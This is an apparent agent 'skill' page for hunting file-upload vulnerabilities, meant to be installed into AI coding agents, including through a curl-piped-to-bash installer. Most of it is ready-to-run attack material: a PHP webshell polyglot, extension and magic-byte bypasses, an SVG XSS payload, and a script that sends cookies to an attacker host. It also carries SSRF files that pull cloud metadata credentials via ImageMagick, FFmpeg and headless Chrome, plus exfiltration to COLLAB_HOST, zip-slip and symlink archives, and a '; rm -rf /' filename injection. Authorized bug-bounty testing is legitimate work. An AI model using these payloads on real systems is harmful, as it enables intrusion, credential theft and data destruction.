hunt-file-upload
Hunt file upload bugs — RCE via webshell, XSS via SVG/HTML, SSRF via XXE in DOCX, path traversal via filename. Bypass tables (10 techniques): double extension (shell.php.jpg if server checks last ext only), magic bytes spoofing (PNG header on PHP), null byte (shell.php.jpg), case (PHP, .Php, .pHP), .htaccess upload to enable execution, SVG with <script>, HTML/SVG XSS, DOCX with embedded XXE, ZIP slip (../../../etc/passwd in archive), polyglot files. Detection: any /upload, /avatar, /profile-picture, /attachment, /import endpoint. Test: upload PHP/JSP/ASPX shells, request via direct URL, check response. Validate: actual code execution (whoami output) for RCE; reflected XSS in profile-photo URL. Use when testing file upload features, avatar/attachment endpoints, import/export functions, XML/DOCX/ZIP processors. Real paid examples.
适合你,如果正在做Web应用安全测试,需要验证文件上传功能是否存在漏洞。
用别的 agent?下载 .zip 解压,把文件夹放进它的技能目录
~/.claude/skills/(项目级 .claude/skills/)~/.codex/skills/npx oh-my-skill add elementalsouls/claude-bughunter/hunt-file-uploadcurl -fsSL https://oh-my-skill.com/install.sh | bash -s -- elementalsouls/claude-bughunter/hunt-file-uploadnpx oh-my-skill verify elementalsouls/claude-bughunter/hunt-file-upload怎么用
技能原文 SKILL.md
9. FILE UPLOAD
Content-Type Bypass
filename=shell.php, Content-Type: image/jpeg → server trusts Content-Type filename=shell.phtml, shell.pHp, shell.php5 → extension variants
File Upload Bypass Techniques (10 techniques)
| Attack | How | Prevention | |---|---|---| | Extension bypass | shell.php.jpg, shell.pHp, shell.php5 | Allowlist + extract final extension | | Null byte | shell.php%00.jpg | Sanitize null bytes | | Double extension | shell.jpg.php | Only allow single extension | | MIME spoof | Content-Type: image/jpeg with .php body | Validate magic bytes, not MIME header | | Magic bytes prefix | Prepend GIF89a; to PHP code | Parse whole file, not just header | | Polyglot | Valid as JPEG and PHP | Process as image lib, reject if invalid | | SVG JavaScript | <svg onload="..."> | Sanitize SVG or disallow entirely | | XXE in DOCX | Malicious XML in Office ZIP | Disable external entities | | ZIP slip | ../../../etc/passwd in archive | Validate extracted paths | | Filename injection | ; rm -rf / in filename | Sanitize + use UUID names |
Magic Bytes Reference
| Type | Hex | |---|---| | JPEG | FF D8 FF | | PNG | 89 50 4E 47 0D 0A 1A 0A | | GIF | 47 49 46 38 | | PDF | 25 50 44 46 | | ZIP/DOCX/XLSX | 50 4B 03 04 |
Stored XSS via SVG
<?xml version="1.0"?> <svg xmlns="http://www.w3.org/2000/svg"> <script>alert(document.domain)</script> </svg>
ImageMagick / FFmpeg Exploitation
ImageMagick SSRF / File Read (ImageTragick family + modern variants)
# Upload this as a .mvg or rename to .jpg/.png (magic bytes bypass) # MVG SSRF payload — fetches internal URL during processing cat > /tmp/ssrf.mvg << 'EOF' push graphic-context viewbox 0 0 640 480 fill 'url(http://169.254.169.254/latest/meta-data/iam/security-credentials/)' pop graphic-context EOF # SVG SSRF (ImageMagick processes SVG remotely) cat > /tmp/ssrf.svg << 'EOF' <?xml version="1.0"?> <!DOCTYPE test [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image xlink:href="http://COLLAB_HOST/imagemagick-ssrf" width="200" height="200"/> </svg> EOF # WebP/AVIF processing bugs (modern surface — CVE-2023-4863) # Upload a crafted WebP file targeting libwebp heap overflow # Use: https://github.com/mistymntncop/CVE-2023-4863 PoC
FFmpeg SSRF via HLS Playlist
# FFmpeg processes m3u8 playlists and fetches referenced segments cat > /tmp/ssrf.m3u8 << 'EOF' #EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, http://169.254.169.254/latest/meta-data/iam/security-credentials/ #EXT-X-ENDLIST EOF # Also works with concat demuxer cat > /tmp/concat.txt << 'EOF' ffconcat version 1.0 file 'http://COLLAB_HOST/ffmpeg-ssrf' EOF # Test: upload .m3u8 or video file to any video processing endpoint
Headless Chrome / PDF Generator SSRF
HTML → PDF Converter Attacks
# Target: invoice generators, report exporters, screenshot services
# Inject HTML that causes headless Chrome to fetch internal resources
# SSRF via CSS import
PAYLOAD='<html><head><style>@import url("http://169.254.169.254/latest/meta-data/");</style></head><body>test</body></html>'
# SSRF via HTML iframe
PAYLOAD='<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="1000" height="1000"></iframe></body></html>'
# Local file read
PAYLOAD='<html><body><iframe src="file:///etc/passwd" width="1000" height="1000"></iframe></body></html>'
# JavaScript execution (if sandbox not enforced)
PAYLOAD='<html><body><script>
fetch("http://COLLAB_HOST/chrome-rce?d=" + encodeURIComponent(document.documentElement.innerHTML));
</script></body></html>'
# Test: submit HTML to any /generate-pdf, /export, /screenshot, /report endpoint
curl -s -X POST "https://$TARGET/api/generate-pdf" \
-H "Content-Type: application/json" \
-d "{\"html\": \"$PAYLOAD\"}"
Archive Extraction Attacks (Zip Slip / Symlink)
# Zip Slip — path traversal via archive filenames pip3 install evilarc python3 evilarc.py shell.php -o unix -p "../../../var/www/html/" -d 5 -f /tmp/zipslip.zip # Symlink attack — archive contains symlink to sensitive file mkdir -p /tmp/sym_attack ln -s /etc/passwd /tmp/sym_attack/innocent.txt zip -ry /tmp/symlink.zip /tmp/sym_attack/ # TAR symlink attack tar --create --file=/tmp/symlink.tar --dereference /tmp/sym_attack/ # Test: upload to any /import, /extract, /unzip endpoint curl -s -X POST "https://$TARGET/api/import" \ -F "file=@/tmp/zipslip.zip"
Related Skills & Chains
hunt-rce— File upload is the most common path to RCE on classic PHP/JSP/ASPX stacks once you find a directly-served upload directory or a deserializer-fed processor. Chain primitive: polyglotGIF89a;<?php system($_GET['c']);?>bypasses magic-byte check +.phtmlextension bypasses allowlist →GET /uploads/shell.phtml?c=id→ RCE; or PHPphar://upload to a sink callingfile_exists()on the attacker-controlled path → PHP object deserialization → RCE.hunt-xxe— Office formats (DOCX/XLSX/PPTX), SVGs, and SOAP attachments are XML inside a ZIP — every upload-and-parse feature is a latent XXE candidate. Chain primitive: upload DOCX whose[Content_Types].xmlorword/document.xmlincludes a parameter-entity DTD pointing at attacker-controlled DTD → blind XXE OOB file read → exfil/etc/passwdorweb.configvia the document parser.hunt-xss— SVGs, HTML files, and PDFs uploaded then served on the same origin are stored-XSS factories. Chain primitive: upload SVG with<script>fetch('//attacker/?'+document.cookie)</script>→ victim views attachment atapp.target.com/uploads/x.svg(same origin, not sandboxed) → cookie theft → ATO via session hijack.hunt-ssrf— Image-processing libraries (ImageMagick, ffmpeg) fetch remote URLs from inside the uploaded file. Chain primitive: upload an SVG/MVG with<image xlink:href="http://169.254.169.254/latest/meta-data/iam/security-credentials/">or ffmpegconcat:http://internal/...→ SSRF to AWS IMDS → cloud creds; the ImageTragick CVE-2016-3714 family is still alive on legacy farms.security-arsenal— Reach for the file-upload bypass tree: 10-row extension/MIME/magic-byte bypass table (double-ext, null-byte, case variants,.phtml/.phar/.php5/.pht,.htaccessupload to re-enable handlers,web.configupload on IIS), SVG/MVG/SVGZ payloads, DOCX-XXE templates, ZIP-slip path traversal in archives, polyglot generators.triage-validation— Apply the Reproducibility Gate. A file successfully uploaded but never served, never executed, never parsed by anything is not a finding — it's a write-only blob. Critical RCE requires the actualwhoamiround-trip from the uploaded shell; stored XSS requires the popup firing in a victim browser, not just the file existing on disk.